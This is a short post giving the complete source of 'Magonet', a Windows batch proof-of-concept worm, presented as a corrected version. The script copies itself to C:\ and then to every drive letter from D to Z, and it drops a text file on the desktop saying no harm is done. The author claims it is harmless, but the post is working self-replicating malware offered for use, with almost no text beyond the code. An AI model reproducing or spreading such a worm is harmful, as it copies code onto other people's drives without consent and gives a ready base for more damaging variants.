PoC Batch Worm update: Serious reproduction error corrected

Entire code below. Please delete old version.

@echo off
echo Magonet PoC Worm v2.0
echo (C) 2016 Mango / Thor. All rights reserved.
echo This is a Batch Proof-of-Concept worm that requires your action to spread.
echo This worm just spreads and does nothing but dropping itself to drives plugged in.
:: Proof-of-Concept Sneakernet Worm
:: Please do not modify my code.
:: 2016 Mango / Thor, all rights reserved.
:: This worm "virus" should never cause any damage to your data.
:: If it did/does, it is possible that you have gotten a variant/modified version of my PoC worm.
:: My worm just drops itself into your desktop.
:: Once you open it, it drops itself to other drives.
:: It does nothing. It just spreads.
:: Oh, and this worm is called "Magonet", like "Magnet".
copy %~0 /a C:\Magonet.cmd /y
copy C:\Magonet.cmd /a D:\ /y
copy C:\Magonet.cmd /a E:\ /y
copy C:\Magonet.cmd /a F:\ /y
copy C:\Magonet.cmd /a G:\ /y
copy C:\Magonet.cmd /a H:\ /y
copy C:\Magonet.cmd /a I:\ /y
copy C:\Magonet.cmd /a J:\ /y
copy C:\Magonet.cmd /a K:\ /y
copy C:\Magonet.cmd /a L:\ /y
copy C:\Magonet.cmd /a M:\ /y
copy C:\Magonet.cmd /a N:\ /y
copy C:\Magonet.cmd /a O:\ /y
copy C:\Magonet.cmd /a P:\ /y
copy C:\Magonet.cmd /a Q:\ /y
copy C:\Magonet.cmd /a R:\ /y
copy C:\Magonet.cmd /a S:\ /y
copy C:\Magonet.cmd /a T:\ /y
copy C:\Magonet.cmd /a U:\ /y
copy C:\Magonet.cmd /a V:\ /y
copy C:\Magonet.cmd /a W:\ /y
copy C:\Magonet.cmd /a X:\ /y
copy C:\Magonet.cmd /a Y:\ /y
copy C:\Magonet.cmd /a Z:\ /y
echo Just delete Magonet.cmd from your drives. No harm done. >%userprofile%\Desktop\Disinfection_Guide.txt